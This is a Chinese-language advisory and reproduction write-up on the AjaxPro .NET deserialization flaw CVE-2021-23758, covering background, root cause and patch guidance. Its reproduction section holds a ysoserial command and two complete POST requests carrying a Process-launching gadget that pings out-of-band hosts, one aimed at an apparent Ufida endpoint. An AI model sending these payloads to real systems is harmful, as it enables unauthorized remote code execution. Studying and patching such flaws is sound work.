# x00 漏洞概述

2021 年秋,MOGWAI LABS 实验室在为客户进行渗透测试过程中发现了开源组件 “Ajax.NET Professional” 中的一个反序列化漏洞 (CVE-2021-23758),如下是对漏洞的详细分析。

Ajax.NET Professional 简介

Ajax.NET Professional 是一个开源软件项目,在二零零几年时非常流行,现在仍然可以找到基于该框架的应用程序。GitHub 官方库对它的描述为,“Ajax.NET Professional (AjaxPro) 是微软 ASP.NET 的首批 AJAX 框架之一。该框架将创建 JavaScript 代理类用于客户端上,以调用 web 服务器上的方法,在所有常见 web 浏览器(包括移动设备在内)上具有完整的数据类型支持。返回自己的类、结构、数据集、枚举等等,就如直接在 .NET 中所作的那样。”

“完整的数据类型支持” 和 “自己的类 “这类短语总是引起我们的注意,因为它们意味着序列化 / 反序列化流程非常灵活,随后我们将详细讨论这一问题。

# x01 影响范围

package AjaxPro.2 < v21.12.8.1

# x02 复现

  1. 一般出现在 asp.net 的站点

打开页面,源代码会看到 类似 /ajaxpro/gust_search,wlms.ashx 路径
如果有源代码的话,copy aspx all.txt
去掉分号中间空格批量请求。

  1. ajaxpro 组件存在 CVE-2021-23758 漏洞,标有属性 [AjaxPro.AjaxMethod][AjaxMethod] ,并且接收 object 类型参数的方法能够 rce

搜索 public & object

obj 对应 object 后的参数
X-Ajaxpro-Method 对应 object 前的类,如果带 method 就不需要了

生成 payload 替换下面列表

ysoserial.exe -g objectdataprovider -f JavaScriptSerializer -c "ping dnslog" -o raw
POST /ajaxpro/gust_search,ppms.ashx?method=Ajaxpro HTTP/2
Host: 127.0.0.1
Cookie: ASP.NET_SessionId=pvht0n45im23adqck1mlurap
Content-Length: 584
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="96"
X-Ajaxpro-Method: Ajaxpro
Content-Type: text/plain; charset=UTF-8
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Origin: https://localhost:44375
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://localhost:44375/demo
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
{"obj":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "MethodName":"Start",
    "ObjectInstance":{
        "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
            "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
            "FileName":"cmd",
            "Arguments":"/c ping 123.dnslog.cn"
        }
    }
}}
POST /ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore/;/login HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
X-Ajaxpro-Method: GetStoreWarehouseByStore
Host: 192.168.37.168:8080
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 604
{
  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "MethodName":"Start",
    "ObjectInstance":{
        "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
            "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
            "FileName":"cmd", "Arguments":"/c ping d4e5b59b8a.ipv6.1433.eu.org."
        }
    }
  }
}

# x03 漏洞背景

Ajax.NET Professional (AjaxPro) 是最先把 AJAX 技术应用在微软.NET 环境下框架之一,具有部署简单、使用方便、运行高效等特点; 该框架能够创建一个代理类且可以使客户端的 JS 代码实现调用服务端的方法,并能返回各种在.NET 里使用的类型;使用该框架和直接使用.NET 基本无差别。近日,新华三攻防实验室威胁预警团队监测到网上爆发了 AjaxPro.NET 反序列化漏洞 (CVE-2021-23758),成功利用此漏洞可以在受害主机上执行任意代码,本团队对该漏洞进行了复现和分析。

# x04 漏洞原理

该漏洞是由于 AjaxPro 开源组件.NET Class Handler 存在对输入数据限制检查不严格引起的;该 AjaxPro 框架在 JavaScriptDeserializer.DeserializeFromJson 函数反序列化过程中,如果通过 __type 获取的 Type 对象且可对其 Type 对象修改,攻击者可利用该漏洞在目标主机上执行任意代码。

# x05 修复方案

  1. 目前官方已发布最新版本,请受影响用户尽快更新。
    https://github.com/michaelschwarz/Ajax.NETProfessional/releases/tag/v21.12.8.1

  2. 新华三解决方案

    1. 新华三安全设备防护方案

    新华三 IPS 规则库将在 1.0.161 版本支持对该漏洞的识别,新华三全系安全产品可通过升级 IPS 特征库识别该漏洞的攻击流量,并进行主动拦截。。

    1. 新华三态势感知解决方案

    新华三态势感知已支持该漏洞的检测,通过信息搜集整合、数据关联分析等综合研判手段,发现网络中遭受该漏洞攻击及失陷的资产。

    1. 新华三云安全能力中心解决方案

    新华三云安全能力中心知识库已更新该漏洞信息,可查询对应漏洞产生原理、升级补丁、修复措施等。